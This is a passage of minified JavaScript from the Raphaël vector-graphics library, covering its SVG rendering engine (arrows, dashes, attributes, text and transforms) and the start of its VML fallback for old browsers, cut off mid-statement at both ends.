E=i*("diamond"!=w&&"oval"!=w);f?(g=d._.arrows.startdx*u||0,h=c.getTotalLength(t.path)-E*u):(g=E*u,h=c.getTotalLength(t.path)-(d._.arrows.enddx*u||0)),k={},k["marker-"+r]="url(#"+B+")",(h||g)&&(k.d=c.getSubpath(t.path,g,h)),q(s,k),d._.arrows[r+"Path"]=A,d._.arrows[r+"Marker"]=B,d._.arrows[r+"dx"]=E,d._.arrows[r+"Type"]=w,d._.arrows[r+"String"]=e}else f?(g=d._.arrows.startdx*u||0,h=c.getTotalLength(t.path)-g):(g=0,h=c.getTotalLength(t.path)-(d._.arrows.enddx*u||0)),d._.arrows[r+"Path"]&&q(s,{d:c.getSubpath(t.path,g,h)}),delete d._.arrows[r+"Path"],delete d._.arrows[r+"Marker"],delete d._.arrows[r+"dx"],delete d._.arrows[r+"Type"],delete d._.arrows[r+"String"];for(k in p)if(p[a](k)&&!p[k]){var F=c._g.doc.getElementById(k);F&&F.parentNode.removeChild(F)}}},u={"":[0],none:[0],"-":[3,1],".":[1,1],"-.":[3,1,1,1],"-..":[3,1,1,1,1,1],". ":[1,3],"- ":[4,3],"--":[8,3],"- .":[4,3,1,3],"--.":[8,3,1,3],"--..":[8,3,1,3,1,3]},v=function(a,c,d){if(c=u[b(c).toLowerCase()]){for(var e=a.attrs["stroke-width"]||"1",f={round:e,square:e,butt:0}[a.attrs["stroke-linecap"]||d["stroke-linecap"]]||0,g=[],h=c.length;h--;)g[h]=c[h]*e+(h%2?1:-1)*f;q(a.node,{"stroke-dasharray":g.join(",")})}},w=function(d,f){var i=d.node,k=d.attrs,m=i.style.visibility;i.style.visibility="hidden";for(var o in f)if(f[a](o)){if(!c._availableAttrs[a](o))continue;var p=f[o];switch(k[o]=p,o){case"blur":d.blur(p);break;case"href":case"title":var u=q("title"),w=c._g.doc.createTextNode(p);u.appendChild(w),i.appendChild(u);break;case"target":var x=i.parentNode;if("a"!=x.tagName.toLowerCase()){var u=q("a");x.insertBefore(u,i),u.appendChild(i),x=u}"target"==o?x.setAttributeNS(n,"show","blank"==p?"new":p):x.setAttributeNS(n,o,p);break;case"cursor":i.style.cursor=p;break;case"transform":d.transform(p);break;case"arrow-start":t(d,p);break;case"arrow-end":t(d,p,1);break;case"clip-rect":var z=b(p).split(j);if(4==z.length){d.clip&&d.clip.parentNode.parentNode.removeChild(d.clip.parentNode);var A=q("clipPath"),B=q("rect");A.id=c.createUUID(),q(B,{x:z[0],y:z[1],width:z[2],height:z[3]}),A.appendChild(B),d.paper.defs.appendChild(A),q(i,{"clip-path":"url(#"+A.id+")"}),d.clip=B}if(!p){var C=i.getAttribute("clip-path");if(C){var D=c._g.doc.getElementById(C.replace(/(^url\(#|\)$)/g,l));D&&D.parentNode.removeChild(D),q(i,{"clip-path":l}),delete d.clip}}break;case"path":"path"==d.type&&(q(i,{d:p?k.path=c._pathToAbsolute(p):"M0,0"}),d._.dirty=1,d._.arrows&&("startString"in d._.arrows&&t(d,d._.arrows.startString),"endString"in d._.arrows&&t(d,d._.arrows.endString,1)));break;case"width":if(i.setAttribute(o,p),d._.dirty=1,!k.fx)break;o="x",p=k.x;case"x":k.fx&&(p=-k.x-(k.width||0));case"rx":if("rx"==o&&"rect"==d.type)break;case"cx":i.setAttribute(o,p),d.pattern&&s(d),d._.dirty=1;break;case"height":if(i.setAttribute(o,p),d._.dirty=1,!k.fy)break;o="y",p=k.y;case"y":k.fy&&(p=-k.y-(k.height||0));case"ry":if("ry"==o&&"rect"==d.type)break;case"cy":i.setAttribute(o,p),d.pattern&&s(d),d._.dirty=1;break;case"r":"rect"==d.type?q(i,{rx:p,ry:p}):i.setAttribute(o,p),d._.dirty=1;break;case"src":"image"==d.type&&i.setAttributeNS(n,"href",p);break;case"stroke-width":(1!=d._.sx||1!=d._.sy)&&(p/=g(h(d._.sx),h(d._.sy))||1),d.paper._vbSize&&(p*=d.paper._vbSize),i.setAttribute(o,p),k["stroke-dasharray"]&&v(d,k["stroke-dasharray"],f),d._.arrows&&("startString"in d._.arrows&&t(d,d._.arrows.startString),"endString"in d._.arrows&&t(d,d._.arrows.endString,1));break;case"stroke-dasharray":v(d,p,f);break;case"fill":var E=b(p).match(c._ISURL);if(E){A=q("pattern");var F=q("image");A.id=c.createUUID(),q(A,{x:0,y:0,patternUnits:"userSpaceOnUse",height:1,width:1}),q(F,{x:0,y:0,"xlink:href":E[1]}),A.appendChild(F),function(a){c._preload(E[1],function(){var b=this.offsetWidth,c=this.offsetHeight;q(a,{width:b,height:c}),q(F,{width:b,height:c}),d.paper.safari()})}(A),d.paper.defs.appendChild(A),q(i,{fill:"url(#"+A.id+")"}),d.pattern=A,d.pattern&&s(d);break}var G=c.getRGB(p);if(G.error){if(("circle"==d.type||"ellipse"==d.type||"r"!=b(p).charAt())&&r(d,p)){if("opacity"in k||"fill-opacity"in k){var H=c._g.doc.getElementById(i.getAttribute("fill").replace(/^url\(#|\)$/g,l));if(H){var I=H.getElementsByTagName("stop");q(I[I.length-1],{"stop-opacity":("opacity"in k?k.opacity:1)*("fill-opacity"in k?k["fill-opacity"]:1)})}}k.gradient=p,k.fill="none";break}}else delete f.gradient,delete k.gradient,!c.is(k.opacity,"undefined")&&c.is(f.opacity,"undefined")&&q(i,{opacity:k.opacity}),!c.is(k["fill-opacity"],"undefined")&&c.is(f["fill-opacity"],"undefined")&&q(i,{"fill-opacity":k["fill-opacity"]});G[a]("opacity")&&q(i,{"fill-opacity":G.opacity>1?G.opacity/100:G.opacity});case"stroke":G=c.getRGB(p),i.setAttribute(o,G.hex),"stroke"==o&&G[a]("opacity")&&q(i,{"stroke-opacity":G.opacity>1?G.opacity/100:G.opacity}),"stroke"==o&&d._.arrows&&("startString"in d._.arrows&&t(d,d._.arrows.startString),"endString"in d._.arrows&&t(d,d._.arrows.endString,1));break;case"gradient":("circle"==d.type||"ellipse"==d.type||"r"!=b(p).charAt())&&r(d,p);break;case"opacity":k.gradient&&!k[a]("stroke-opacity")&&q(i,{"stroke-opacity":p>1?p/100:p});case"fill-opacity":if(k.gradient){H=c._g.doc.getElementById(i.getAttribute("fill").replace(/^url\(#|\)$/g,l)),H&&(I=H.getElementsByTagName("stop"),q(I[I.length-1],{"stop-opacity":p}));break}default:"font-size"==o&&(p=e(p,10)+"px");var J=o.replace(/(\-.)/g,function(a){return a.substring(1).toUpperCase()});i.style[J]=p,d._.dirty=1,i.setAttribute(o,p)}}y(d,f),i.style.visibility=m},x=1.2,y=function(d,f){if("text"==d.type&&(f[a]("text")||f[a]("font")||f[a]("font-size")||f[a]("x")||f[a]("y"))){var g=d.attrs,h=d.node,i=h.firstChild?e(c._g.doc.defaultView.getComputedStyle(h.firstChild,l).getPropertyValue("font-size"),10):10;
if(f[a]("text")){for(g.text=f.text;h.firstChild;)h.removeChild(h.firstChild);for(var j,k=b(f.text).split("\n"),m=[],n=0,o=k.length;o>n;n++)j=q("tspan"),n&&q(j,{dy:i*x,x:g.x}),j.appendChild(c._g.doc.createTextNode(k[n])),h.appendChild(j),m[n]=j}else for(m=h.getElementsByTagName("tspan"),n=0,o=m.length;o>n;n++)n?q(m[n],{dy:i*x,x:g.x}):q(m[0],{dy:0});q(h,{x:g.x,y:g.y}),d._.dirty=1;var p=d._getBBox(),r=g.y-(p.y+p.height/2);r&&c.is(r,"finite")&&q(m[0],{dy:r})}},z=function(a,b){this[0]=this.node=a,a.raphael=!0,this.id=c._oid++,a.raphaelid=this.id,this.matrix=c.matrix(),this.realPath=null,this.paper=b,this.attrs=this.attrs||{},this._={transform:[],sx:1,sy:1,deg:0,dx:0,dy:0,dirty:1},!b.bottom&&(b.bottom=this),this.prev=b.top,b.top&&(b.top.next=this),b.top=this,this.next=null},A=c.el;z.prototype=A,A.constructor=z,c._engine.path=function(a,b){var c=q("path");b.canvas&&b.canvas.appendChild(c);var d=new z(c,b);return d.type="path",w(d,{fill:"none",stroke:"#000",path:a}),d},A.rotate=function(a,c,e){if(this.removed)return this;if(a=b(a).split(j),a.length-1&&(c=d(a[1]),e=d(a[2])),a=d(a[0]),null==e&&(c=e),null==c||null==e){var f=this.getBBox(1);c=f.x+f.width/2,e=f.y+f.height/2}return this.transform(this._.transform.concat([["r",a,c,e]])),this},A.scale=function(a,c,e,f){if(this.removed)return this;if(a=b(a).split(j),a.length-1&&(c=d(a[1]),e=d(a[2]),f=d(a[3])),a=d(a[0]),null==c&&(c=a),null==f&&(e=f),null==e||null==f)var g=this.getBBox(1);return e=null==e?g.x+g.width/2:e,f=null==f?g.y+g.height/2:f,this.transform(this._.transform.concat([["s",a,c,e,f]])),this},A.translate=function(a,c){return this.removed?this:(a=b(a).split(j),a.length-1&&(c=d(a[1])),a=d(a[0])||0,c=+c||0,this.transform(this._.transform.concat([["t",a,c]])),this)},A.transform=function(b){var d=this._;if(null==b)return d.transform;if(c._extractTransform(this,b),this.clip&&q(this.clip,{transform:this.matrix.invert()}),this.pattern&&s(this),this.node&&q(this.node,{transform:this.matrix}),1!=d.sx||1!=d.sy){var e=this.attrs[a]("stroke-width")?this.attrs["stroke-width"]:1;this.attr({"stroke-width":e})}return this},A.hide=function(){return!this.removed&&this.paper.safari(this.node.style.display="none"),this},A.show=function(){return!this.removed&&this.paper.safari(this.node.style.display=""),this},A.remove=function(){if(!this.removed&&this.node.parentNode){var a=this.paper;a.__set__&&a.__set__.exclude(this),k.unbind("raphael.*.*."+this.id),this.gradient&&a.defs.removeChild(this.gradient),c._tear(this,a),"a"==this.node.parentNode.tagName.toLowerCase()?this.node.parentNode.parentNode.removeChild(this.node.parentNode):this.node.parentNode.removeChild(this.node);for(var b in this)this[b]="function"==typeof this[b]?c._removedFactory(b):null;this.removed=!0}},A._getBBox=function(){if("none"==this.node.style.display){this.show();var a=!0}var b={};try{b=this.node.getBBox()}catch(c){}finally{b=b||{}}return a&&this.hide(),b},A.attr=function(b,d){if(this.removed)return this;if(null==b){var e={};for(var f in this.attrs)this.attrs[a](f)&&(e[f]=this.attrs[f]);return e.gradient&&"none"==e.fill&&(e.fill=e.gradient)&&delete e.gradient,e.transform=this._.transform,e}if(null==d&&c.is(b,"string")){if("fill"==b&&"none"==this.attrs.fill&&this.attrs.gradient)return this.attrs.gradient;if("transform"==b)return this._.transform;for(var g=b.split(j),h={},i=0,l=g.length;l>i;i++)b=g[i],h[b]=b in this.attrs?this.attrs[b]:c.is(this.paper.customAttributes[b],"function")?this.paper.customAttributes[b].def:c._availableAttrs[b];return l-1?h:h[g[0]]}if(null==d&&c.is(b,"array")){for(h={},i=0,l=b.length;l>i;i++)h[b[i]]=this.attr(b[i]);return h}if(null!=d){var m={};m[b]=d}else null!=b&&c.is(b,"object")&&(m=b);for(var n in m)k("raphael.attr."+n+"."+this.id,this,m[n]);for(n in this.paper.customAttributes)if(this.paper.customAttributes[a](n)&&m[a](n)&&c.is(this.paper.customAttributes[n],"function")){var o=this.paper.customAttributes[n].apply(this,[].concat(m[n]));this.attrs[n]=m[n];for(var p in o)o[a](p)&&(m[p]=o[p])}return w(this,m),this},A.toFront=function(){if(this.removed)return this;"a"==this.node.parentNode.tagName.toLowerCase()?this.node.parentNode.parentNode.appendChild(this.node.parentNode):this.node.parentNode.appendChild(this.node);var a=this.paper;return a.top!=this&&c._tofront(this,a),this},A.toBack=function(){if(this.removed)return this;var a=this.node.parentNode;return"a"==a.tagName.toLowerCase()?a.parentNode.insertBefore(this.node.parentNode,this.node.parentNode.parentNode.firstChild):a.firstChild!=this.node&&a.insertBefore(this.node,this.node.parentNode.firstChild),c._toback(this,this.paper),this.paper,this},A.insertAfter=function(a){if(this.removed)return this;var b=a.node||a[a.length-1].node;return b.nextSibling?b.parentNode.insertBefore(this.node,b.nextSibling):b.parentNode.appendChild(this.node),c._insertafter(this,a,this.paper),this},A.insertBefore=function(a){if(this.removed)return this;var b=a.node||a[0].node;return b.parentNode.insertBefore(this.node,b),c._insertbefore(this,a,this.paper),this},A.blur=function(a){var b=this;if(0!==+a){var d=q("filter"),e=q("feGaussianBlur");b.attrs.blur=a,d.id=c.createUUID(),q(e,{stdDeviation:+a||1.5}),d.appendChild(e),b.paper.defs.appendChild(d),b._blur=d,q(b.node,{filter:"url(#"+d.id+")"})}else b._blur&&(b._blur.parentNode.removeChild(b._blur),delete b._blur,delete b.attrs.blur),b.node.removeAttribute("filter");return b},c._engine.circle=function(a,b,c,d){var e=q("circle");a.canvas&&a.canvas.appendChild(e);var f=new z(e,a);return f.attrs={cx:b,cy:c,r:d,fill:"none",stroke:"#000"},f.type="circle",q(e,f.attrs),f},c._engine.rect=function(a,b,c,d,e,f){var g=q("rect");a.canvas&&a.canvas.appendChild(g);var h=new z(g,a);return h.attrs={x:b,y:c,width:d,height:e,r:f||0,rx:f||0,ry:f||0,fill:"none",stroke:"#000"},h.type="rect",q(g,h.attrs),h},c._engine.ellipse=function(a,b,c,d,e){var f=q("ellipse");a.canvas&&a.canvas.appendChild(f);var g=new z(f,a);return g.attrs={cx:b,cy:c,rx:d,ry:e,fill:"none",stroke:"#000"},g.type="ellipse",q(f,g.attrs),g},c._engine.image=function(a,b,c,d,e,f){var g=q("image");q(g,{x:c,y:d,width:e,height:f,preserveAspectRatio:"none"}),g.setAttributeNS(n,"href",b),a.canvas&&a.canvas.appendChild(g);var h=new z(g,a);return h.attrs={x:c,y:d,width:e,height:f,src:b},h.type="image",h},c._engine.text=function(a,b,d,e){var f=q("text");a.canvas&&a.canvas.appendChild(f);var g=new z(f,a);return g.attrs={x:b,y:d,"text-anchor":"middle",text:e,font:c._availableAttrs.font,stroke:"none",fill:"#000"},g.type="text",w(g,g.attrs),g},c._engine.setSize=function(a,b){return this.width=a||this.width,this.height=b||this.height,this.canvas.setAttribute("width",this.width),this.canvas.setAttribute("height",this.height),this._viewBox&&this.setViewBox.apply(this,this._viewBox),this},c._engine.create=function(){var a=c._getContainer.apply(0,arguments),b=a&&a.container,d=a.x,e=a.y,f=a.width,g=a.height;if(!b)throw new Error("SVG container not found.");var h,i=q("svg"),j="overflow:hidden;";return d=d||0,e=e||0,f=f||512,g=g||342,q(i,{height:g,version:1.1,width:f,xmlns:"http://www.w3.org/2000/svg"}),1==b?(i.style.cssText=j+"position:absolute;left:"+d+"px;top:"+e+"px",c._g.doc.body.appendChild(i),h=1):(i.style.cssText=j+"position:relative",b.firstChild?b.insertBefore(i,b.firstChild):b.appendChild(i)),b=new c._Paper,b.width=f,b.height=g,b.canvas=i,b.clear(),b._left=b._top=0,h&&(b.renderfix=function(){}),b.renderfix(),b},c._engine.setViewBox=function(a,b,c,d,e){k("raphael.setViewBox",this,this._viewBox,[a,b,c,d,e]);var f,h,i=g(c/this.width,d/this.height),j=this.top,l=e?"meet":"xMinYMin";for(null==a?(this._vbSize&&(i=1),delete this._vbSize,f="0 0 "+this.width+m+this.height):(this._vbSize=i,f=a+m+b+m+c+m+d),q(this.canvas,{viewBox:f,preserveAspectRatio:l});i&&j;)h="stroke-width"in j.attrs?j.attrs["stroke-width"]:1,j.attr({"stroke-width":h}),j._.dirty=1,j._.dirtyT=1,j=j.prev;return this._viewBox=[a,b,c,d,!!e],this},c.prototype.renderfix=function(){var a,b=this.canvas,c=b.style;try{a=b.getScreenCTM()||b.createSVGMatrix()}catch(d){a=b.createSVGMatrix()}var e=-a.e%1,f=-a.f%1;(e||f)&&(e&&(this._left=(this._left+e)%1,c.left=this._left+"px"),f&&(this._top=(this._top+f)%1,c.top=this._top+"px"))},c.prototype.clear=function(){c.eve("raphael.clear",this);for(var a=this.canvas;a.firstChild;)a.removeChild(a.firstChild);this.bottom=this.top=null,(this.desc=q("desc")).appendChild(c._g.doc.createTextNode("Created with Raphaël "+c.version)),a.appendChild(this.desc),a.appendChild(this.defs=q("defs"))},c.prototype.remove=function(){k("raphael.remove",this),this.canvas.parentNode&&this.canvas.parentNode.removeChild(this.canvas);for(var a in this)this[a]="function"==typeof this[a]?c._removedFactory(a):null};var B=c.st;for(var C in A)A[a](C)&&!B[a](C)&&(B[C]=function(a){return function(){var b=arguments;return this.forEach(function(c){c[a].apply(c,b)})}}(C))}}(),function(){if(c.vml){var a="hasOwnProperty",b=String,d=parseFloat,e=Math,f=e.round,g=e.max,h=e.min,i=e.abs,j="fill",k=/[, ]+/,l=c.eve,m=" progid:DXImageTransform.Microsoft",n=" ",o="",p={M:"m",L:"l",C:"c",Z:"x",m:"t",l:"r",c:"v",z:"x"},q=/([clmz]),?([^clmz]*)/gi,r=/ progid:\S+Blur\([^\)]+\)/g,s=/-?[^,\s-]+/g,t="position:absolute;left:0;top:0;width:1px;height:1px",u=21600,v={path:1,rect:1,image:1},w={circle:1,ellipse:1},x=function(a){var d=/[ahqstv]/gi,e=c._pathToAbsolute;if(b(a).match(d)&&(e=c._path2curve),d=/[clmz]/g,e==c._pathToAbsolute&&!b(a).match(d)){var g=b(a).replace(q,function(a,b,c){var d=[],e="m"==b.toLowerCase(),g=p[b];return c.replace(s,function(a){e&&2==d.length&&(g+=d+p["m"==b?"l":"L"],d=[]),d.push(f(a*u))}),g+d});return g}var h,i,j=e(a);g=[];for(var k=0,l=j.length;l>k;k++){h=j[k],i=j[k][0].toLowerCase(),"z"==i&&(i="x");for(var m=1,r=h.length;r>m;m++)i+=f(h[m]*u)+(m!=r-1?",":o);g.push(i)}return g.join(n)},y=function(a,b,d){var e=c.matrix();return e.rotate(-a,.5,.5),{dx:e.x(b,d),dy:e.y(b,d)}},z=function(a,b,c,d,e,f){var g=a._,h=a.matrix,k=g.fillpos,l=a.node,m=l.style,o=1,p="",q=u/b,r=u/c;if(m.visibility="hidden",b&&c){if(l.coordsize=i(q)+n+i(r),m.rotation=f*(0>b*c?-1:1),f){var s=y(f,d,e);d=s.dx,e=s.dy}if(0>b&&(p+="x"),0>c&&(p+=" y")&&(o=-1),m.flip=p,l.coordorigin=d*-q+n+e*-r,k||g.fillsize){var t=l.getElementsByTagName(j);t=t&&t[0],l.removeChild(t),k&&(s=y(f,h.x(k[0],k[1]),h.y(k[0],k[1])),t.position=s.dx*o+n+s.dy*o),g.fillsize&&(t.size=g.fillsize[0]*i(b)+n+g.fillsize[1]*i(c)),l.appendChild(t)}m.visibility="visible"}};c.toString=function(){return"Your browser doesn’t support SVG. Falling down to VML.\nYou are running Raphaël "+this.version};var A=function(a,c,d){for(var e=b(c).toLowerCase().split("-"),f=d?"end":"start",g=e.length,h="classic",i="medium",j="medium";g--;)switch(e[g]){case"block":case"classic":case"oval":case"diamond":case"open":case"none":h=e[g];break;case"wide":case"narrow":j=e[g];break;case"long":case"short":i=e[g]}var k=a.node.getElementsByTagName("stroke")[0];k[f+"arrow"]=h,k[f+"arrowlength"]=i,k[f+"arrowwidth"]=j},B=function(e,i){e.attrs=e.attrs||{};var l=e.node,m=e.attrs,p=l.style,q=v[e.type]&&(i.x!=m.x||i.y!=m.y||i.width!=m.width||i.height!=m.height||i.cx!=m.cx||i.cy!=m.cy||i.rx!=m.rx||i.ry!=m.ry||i.r!=m.r),r=w[e.type]&&(m.cx!=i.cx||m.cy!=i.cy||m.r!=i.r||m.rx!=i.rx||m.ry!=i.ry),s=e;for(var t in i)i[a](t)&&(m[t]=i[t]);if(q&&(m.path=c._getPath[e.type](e),e._.dirty=1),i.href&&(l.href=i.href),i.title&&(l.title=i.title),i.target&&(l.target=i.target),i.cursor&&(p.cursor=i.cursor),"blur"in i&&e.blur(i.blur),(i.path&&"path"==e.type||q)&&(l.path=x(~b(m.path).toLowerCase().indexOf("r")?c._pathToAbsolute(m.path):m.path),"image"==e.type&&(e._.fillpos=[m.x,m.y],e._.fillsize=[m.width,m.height],z(e,1,1,0,0,0))),"transform"in i&&e.transform(i.transform),r){var y=+m.cx,B=+m.cy,D=+m.rx||+m.r||0,E=+m.ry||+m.r||0;l.path=c.format("ar{0},{1},{2},{3},{4},{1},{4},{1}x",f((y-D)*u),f((B-E)*u),f((y+D)*u),f((B+E)*u),f(y*u)),e._.dirty=1}if("clip-rect"in i){var G=b(i["clip-rect"]).split(k);if(4==G.length){G[2]=+G[2]+ +G[0],G[3]=+G[3]+ +G[1];var H=l.clipRect||c._g.doc.createElement("div"),I=H.style;I.clip=c.format("rect({1}px {2}px {3}px {0}px)",G),l.clipRect||(I.position="absolute",I.top=0,I.left=0,I.width=e.paper.width+"px",I.height=e.paper.height+"px",l.parentNode.insertBefore(H,l),H.appendChild(l),l.clipRect=H)}i["clip-rect"]||l.clipRect&&(l.clipRect.style.clip="auto")}if(e.textpath){var J=e.textpath.style;i.font&&(J.font=i.font),i["font-family"]&&(J.fontFamily='"'+i["font-family"].split(",")[0].replace(/^['"]+|['"]+$/g,o)+'"'),i["font-size"]&&(J.fontSize=i["font-size"]),i["font-weight"]&&(J.fontWeight=i["font-weight"]),i["font-style"]&&(J.fontStyle=i["font-style"])}if("arrow-start"in i&&A(s,i["arrow-start"]),"arrow-end"in i&&A(s,i["arrow-end"],1),null!=i.opacity||null!=i["stroke-width"]||null!=i.fill||null!=i.src||null!=i.stroke||null!=i["stroke-width"]||null!=i["stroke-opacity"]||null!=i["fill-opacity"]||null!=i["stroke-dasharray"]||null!=i["stroke-miterlimit"]||null!=i["stroke-linejoin"]||null!=i["stroke-linecap"]){var K=l.getElementsByTagName(j),L=!1;if(K=K&&K[0],!K&&(L=K=F(j)),"image"==e.type&&i.src&&(K.src=i.src),i.fill&&(K.on=!0),(null==K.on||"none"==i.fill||null===i.fill)&&(K.on=!1),K.on&&i.fill){var M=b(i.fill).match(c._ISURL);if(M){K.parentNode==l&&l.removeChild(K),K.rotate=!0,K.src=M[1],K.type="tile";var N=e.getBBox(1);K.position=N.x+n+N.y,e._.fillpos=[N.x,N.y],c._preload(M[1],function(){e._.fillsize=[this.offsetWidth,this.offsetHeight]})}else K.color=c.getRGB(i.fill).hex,K.src=o,K.type="solid",c.getRGB(i.fill).error&&(s.type in{circle:1,ellipse:1}||"r"!=b(i.fill).charAt())&&C(s,i.fill,K)&&(m.fill="none",m.gradient=i.fill,K.rotate=!1)}if("fill-opacity"in i||"opacity"in i){var O=((+m["fill-opacity"]+1||2)-1)*((+m.opacity+1||2)-1)*((+c.getRGB(i.fill).o+1||2)-1);O=h(g(O,0),1),K.opacity=O,K.src&&(K.color="none")}l.appendChild(K);var P=l.getElementsByTagName("stroke")&&l.getElementsByTagName("stroke")[0],Q=!1;!P&&(Q=P=F("stroke")),(i.stroke&&"none"!=i.stroke||i["stroke-width"]||null!=i["stroke-opacity"]||i["stroke-dasharray"]||i["stroke-miterlimit"]||i["stroke-linejoin"]||i["stroke-linecap"])&&(P.on=!0),("none"==i.stroke||null===i.stroke||null==P.on||0==i.stroke||0==i["stroke-width"])&&(P.on=!1);var R=c.getRGB(i.stroke);P.on&&i.stroke&&(P.color=R.hex),O=((+m["stroke-opacity"]+1||2)-1)*((+m.opacity+1||2)-1)*((+R.o+1||2)-1);var S=.75*(d(i["stroke-width"])||1);if(O=h(g(O,0),1),null==i["stroke-width"]&&(S=m["stroke-width"]),i["stroke-width"]&&(P.weight=S),S&&1>S&&(O*=S)&&(P.weight=1),P.opacity=O,i["stroke-linejoin"]&&(P.joinstyle=i["stroke-linejoin"]||"miter"),P.miterlimit=i["stroke-miterlimit"]||8,i["stroke-linecap"]&&(P.endcap="butt"==i["stroke-linecap"]?"flat":"square"==i["stroke-linecap"]?"square":"round"),i["stroke-dasharray"]){var T={"-":"shortdash",".":"shortdot","-.":"shortdashdot","-..":"shortdashdotdot",". ":"dot","- ":"dash","--":"longdash","- .":"dashdot","--.":"longdashdot","--..":"longdashdotdot"};P.dashstyle=T[a](i["stroke-dasharray"])?T[i["stroke-dasharray"]]:o}Q&&l.appendChild(P)}if("text"==s.type){s.paper.canvas.style.display=o;var U=s.paper.span,V=100,W=m.font&&m.font.match(/\d+(?:\.\d*)?(?=px)/);p=U.style,m.font&&(p.font=m.font),m["font-family"]&&(p.fontFamily=m["font-family"]),m["font-weight"]&&(p.fontWeight=m["font-weight"]),m["font-style"]&&(p.fontStyle=m["font-style"]),W=d(m["font-size"]||W&&W[0])||10,p.fontSize=W*V+"px",s.textpath.string&&(U.innerHTML=b(s.textpath.string).replace(/</g,"&#60;").replace(/&/g,"&#38;").replace(/\n/g,"<br>"));var X=U.getBoundingClientRect();s.W=m.w=(X.right-X.left)/V,s.H=m.h=(X.bottom-X.top)/V,s.X=m.x,s.Y=m.y+s.H/2,("x"in i||"y"in i)&&(s.path.v=c.format("m{0},{1}l{2},{1}",f(m.x*u),f(m.y*u),f(m.x*u)+1));for(var Y=["x","y","text","font","font-family","font-weight","font-style","font-size"],Z=0,$=Y.length;$>Z;Z++)if(Y[Z]in i){s._.dirty=1;break}switch(m["text-anchor"]){case"start":s.textpath.style["v-text-align"]="left",s.bbx=s.W/2;break;case"end":s.textpath.style["v-text-align"]="right",s.bbx=-s.W/2;break;default:s.textpath.style["v-text-align"]="center",s.bbx=0}s.textpath.style["v-text-kern"]=!0}},C=function(a,f,g){a.attrs=a.attrs||{};var h=(a.attrs,Math.pow),i="linear",j=".5 .5";if(a.attrs.gradient=f,f=b(f).replace(c._radial_gradient,function(a,b,c){return i="radial",b&&c&&(b=d(b),c=d(c),h(b-.5,2)+h(c-.5,2)>.25&&(c=e.sqrt(.25-h(b-.5,2))*(2*(c>.5)-1)+.5),j=b+n+c),o}),f=f.split(/\s*\-\s*/),"linear"==i){var k=f.shift();if(k=-d(k),isNaN(k))return null}var l=c._parseDots(f);if(!l)return null;if(a=a.shape||a.node,l.length){a.removeChild(g),g.on=!0,g.method="none",g.color=l[0].color,g.color2=l[l.length-1].color;for(var m=[],p=0,q=l.length;q>p;p++)l[p].offset&&m.push(l[p].offset+n+l[p].color);g.colors=m.length?m.join():"0% "+g.color,"radial"==i?(g.type="gradientTitle",g.focus="100%",g.focussize="0 0",g.focusposition=j,g.angle=0):(g.type="gradient",g.angle=(270-k)%360),a.appendChild(g)}return 1},D=function(a,b){this[0]=this.node=a,a.raphael=!0,this.id=c._oid++,a.raphaelid=this.id,this.X=0,this.Y=0,this.attrs={},this.paper=b,this.matrix=c.matrix(),this._={transform:[],sx:1,sy:1,dx:0,dy:0,deg:0,dirty:1,dirtyT:1},!b.bottom&&(b.bottom=this),this.prev=b.top,b.top&&(b.top.next=this),b.top=this,this.next=null},E=c.el;D.prototype=E,E.constructor=D,E.transform=function(a){if(null==a)return this._.transform;var d,e=this.paper._viewBoxShift,f=e?"s"+[e.scale,e.scale]+"-1-1t"+[e.dx,e.dy]:o;e&&(d=a=b(a).replace(/\.{3}|\u2026/g,this._.transform||o)),c._extractTransform(this,f+a);var g,h=this.matrix.clone(),i=this.skew,j=this.node,k=~b(this.attrs.fill).indexOf("-"),l=!b(this.attrs.fill).indexOf("url(");if(h.translate(1,1),l||k||"image"==this.type)if(i.matrix="1 0 0 1",i.offset="0 0",g=h.split(),k&&g.noRotation||!g.isSimple){j.style.filter=h.toFilter();var m=this.getBBox(),p=this.getBBox(1),q=m.x-p.x,r=m.y-p.y;j.coordorigin=q*-u+n+r*-u,z(this,1,1,q,r,0)}else j.style.filter=o,z(this,g.scalex,g.scaley,g.dx,g.dy,g.rotate);else j.style.filter=o,i.matrix=b(h),i.offset=h.offset();return d&&(this._.transform=d),this},E.rotate=function(a,c,e){if(this.removed)return this;if(null!=a){if(a=b(a).split(k),a.length-1&&(c=d(a[1]),e=d(a[2])),a=d(a[0]),null==e&&(c=e),null==c||null==e){var f=this.getBBox(1);c=f.x+f.width/2,e=f.y+f.height/2}return this._.dirtyT=1,this.transform(this._.transform.concat([["r",a,c,e]])),this}},E.translate=function(a,c){return this.removed?this:(a=b(a).split(k),a.length-1&&(c=d(a[1])),a=d(a[0])||0,c=+c||0,this._.bbox&&(this._.bbox.x+=a,this._.bbox.y+=c),this.transform(this._.transform.concat([["t",a,c]])),this)},E.scale=function(a,c,e,f){if(this.removed)return this;if(a=b(a).split(k),a.length-1&&(c=d(a[1]),e=d(a[2]),f=d(a[3]),isNaN(e)&&(e=null),isNaN(f)&&(f=null)),a=d(a[0]),null==c&&(c=a),null==f&&(e=f),null==e||null==f)var g=this.getBBox(1);return e=null==e?g.x+g.width/2:e,f=null==f?g.y+g.height/2:f,this.transform(this._.transform.concat([["s",a,c,e,f]])),this._.dirtyT=1,this},E.hide=function(){return!this.removed&&(this.node.style.display="none"),this},E.show=function(){return!this.removed&&(this.node.style.display=o),this},E._getBBox=function(){return this.removed?{}:{x:this.X+(this.bbx||0)-this.W/2,y:this.Y-this.H,width:this.W,height:this.H}},E.remove=function(){if(!this.removed&&this.node.parentNode){this.paper.__set__&&this.paper.__set__.exclude(this),c.eve.unbind("raphael.*.*."+this.id),c._tear(this,this.paper),this.node.parentNode.removeChild(this.node),this.shape&&this.shape.parentNode.removeChild(this.shape);for(var a in this)this[a]="function"==typeof this[a]?c._removedFactory(a):null;this.removed=!0}},E.attr=function(b,d){if(this.removed)return this;if(null==b){var e={};for(var f in this.attrs)this.attrs[a](f)&&(e[f]=this.attrs[f]);return e.gradient&&"none"==e.fill&&(e.fill=e.gradient)&&delete e.gradient,e.transform=this._.transform,e}if(null==d&&c.is(b,"string")){if(b==j&&"none"==this.attrs.fill&&this.attrs.gradient)return this.attrs.gradient;for(var g=b.split(k),h={},i=0,m=g.length;m>i;i++)b=g[i],h[b]=b in this.attrs?this.attrs[b]:c.is(this.paper.customAttributes[b],"function")?this.paper.customAttributes[b].def:c._availableAttrs[b];return m-1?h:h[g[0]]}if(this.attrs&&null==d&&c.is(b,"array")){for(h={},i=0,m=b.length;m>i;i++)h[b[i]]=this.attr(b[i]);return h}var n;null!=d&&(n={},n[b]=d),null==d&&c.is(b,"object")&&(n=b);for(var o in 